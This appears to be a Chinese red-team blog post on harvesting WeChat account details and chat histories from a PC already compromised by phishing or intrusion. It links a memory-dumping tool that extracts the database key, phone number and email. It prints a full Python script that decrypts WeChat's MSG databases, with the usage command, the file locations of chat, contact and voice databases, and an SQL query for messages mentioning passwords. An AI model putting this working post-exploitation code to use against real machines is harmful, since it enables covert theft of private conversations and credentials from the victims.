红队攻防之PC端微信个人信息与聊天记录取证
2022-7-18 08:35:32 Author: NearSec(查看原文) 阅读量:69 收藏

0x00 来了

最近弄了一些乱七八糟的东西,突然发现很久没有更新文章了,正好HVV临近,象征性更新一下,毕竟半年才更一次,属实太过分了。

PS:后面会缩短更新时间

0x01 声明

声明:该公众号大部分文章来自作者日常学习笔记,未经授权,严禁转载,如需转载,联系公众号加白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x02 前言

师傅们都碰到过一个问题:

通过钓鱼/渗透/XX方式控制了目标的电脑权限,如何才能获取到更有价值的信息,更好的开展下一步工作呢

答:众所周知,WX在个人社交、日常办公、XXXX中已经必不可少,所以比较容易被关注到

场景:不管是XX工作需要取证、还是HVV工作需要更多有价值的信息,相对来说都是比较快准狠的方式

所以想水一篇文章:关于WX个人信息与聊天记录的取证工作

0x03 实现

学习地址[会不定期更新](能用就行):

https://github.com/AdminTest0/SharpWxDump

问:为啥要不定期更新?

答:因为PC端WX每迭代一次新版本,偏移都会改变,都需要重新获取,所以需要不定期更新对应版本的偏移地址,有兴趣的师傅可以交流一下

利用场景:

钓鱼攻击(通过钓鱼控到的机器通常都是登录状态,可诱骗登录)

渗透到运维机器(有些运维机器会日常登录自己的微信,可蹲)

某些工作需要取证(数据库需要拷贝到本地慢慢弄)

自行备份(日常备份自己留存)

等等...............

利用前提需要处于登录状态

1. 如果没有运行,会提示

2. 如果运行了,但是没有登录,会提示错误原因(因为实战中会有各种各样的错误,中文在CS中会乱码,所以这里用的英文翻译)

3. 如果用户登录了WX,直接执行即可获取:进程ID/当前版本/昵称/账号/手机号码/邮箱/数据库密钥目前所有正式版本都可以(能用就行)

0x04 版本差异

差异:

版本 < 3.7.0.30,运行但不登录:能获取到;

版本 > 3.7.0.30,运行但登录:获取不到;

原因:

版本 < 3.7.0.30,都是从AccInfo.dat文件中获取;

版本 > 3.7.0.30,修复了AccInfo.dat文件中存储个人信息(因为之前可以离线读取);

离线获取,差异对比(左旧右新)

在线获取,差异对比(上旧下新),登录后获取,但新版已经获取不到邮箱了

0x05 聊天记录解密

1. wxid_xxxxxxxx一般都在文档目录下,作为存储目录,对应的聊天记录文件到本地

文件位置:

关于聊天记录文件:MSG.db,超出240MB会自动生成MSG1.db,以此类推

wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天记录wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天记录wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天记录wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表wxid_xxxxxxxx\Msg\MediaMsg.db > 语音 > 格式为silk

2. 解密数据库

脚本代码:

from Crypto.Cipher import AESimport hashlib, hmac, ctypes, sys, getopt
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)IV_SIZE = 16HMAC_SHA1_SIZE = 20KEY_SIZE = 32DEFAULT_PAGESIZE = 4096DEFAULT_ITER = 64000opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')input_pass = ''input_dir = ''
for op, value in opts: if op == '-k': input_pass = value else: if op == '-d': input_dir = value
password = bytes.fromhex(input_pass.replace(' ', ''))
with open(input_dir, 'rb') as (f): blist = f.read()print(len(blist))salt = blist[:16]key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)first = blist[16:DEFAULT_PAGESIZE]mac_salt = bytes([x ^ 58 for x in salt])mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)hash_mac = hmac.new(mac_key, digestmod='sha1')hash_mac.update(first[:-32])hash_mac.update(bytes(ctypes.c_int(1)))
if hash_mac.digest() == first[-32:-12]: print('Decryption Success')else: print('Password Error')blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
with open(input_dir, 'wb') as (f): f.write(SQLITE_FILE_HEADER) t = AES.new(key, AES.MODE_CBC, first[-48:-32]) f.write(t.decrypt(first[:-48])) f.write(first[-48:]) for i in blist: t = AES.new(key, AES.MODE_CBC, i[-48:-32]) f.write(t.decrypt(i[:-48])) f.write(i[-48:])

使用方法:

python3 .\Decode.py -k 数据库密钥 -d .\MSG0.db

解密成功


3. 查找敏感信息

将解密后的MSG0.db拖入数据库工具,查询语句查找关键字:

SELECT * FROM "MSG" WHERE StrContent  like'%密码%'

包含个人消息、群消息等等,或者直接用数据库工具的界面化查找

0x06 如何获取偏移

使用CE选中WeChat.exe,获取账号偏移,通过WeChatWin.dll的基址+偏移,即可定位想获取的信息,其他信息同理

0x07 参考

参考链接:

[1] http://cn-sec.com/archives/440791.html

[2https://blog.csdn.net/weixin_42962516/article/details/114904925

[3https://blog.csdn.net/qq_38474570/article/details/96606530

[4https://www.52pojie.cn/forum.php?mod=viewthread&tid=1153671

感谢关注,欢迎交流


文章来源: http://mp.weixin.qq.com/s?__biz=MzU5NjQ0NTE4NA==&mid=2247484637&idx=1&sn=d07630d3f53aab72d1400fd47d5068e8&chksm=fe63d5b2c9145ca40192b199b3a17d126f0463534cfec1f2e4ab04cd638ee6fa67ec2ece24f8#rd
如有侵权请联系:admin#unsafe.sh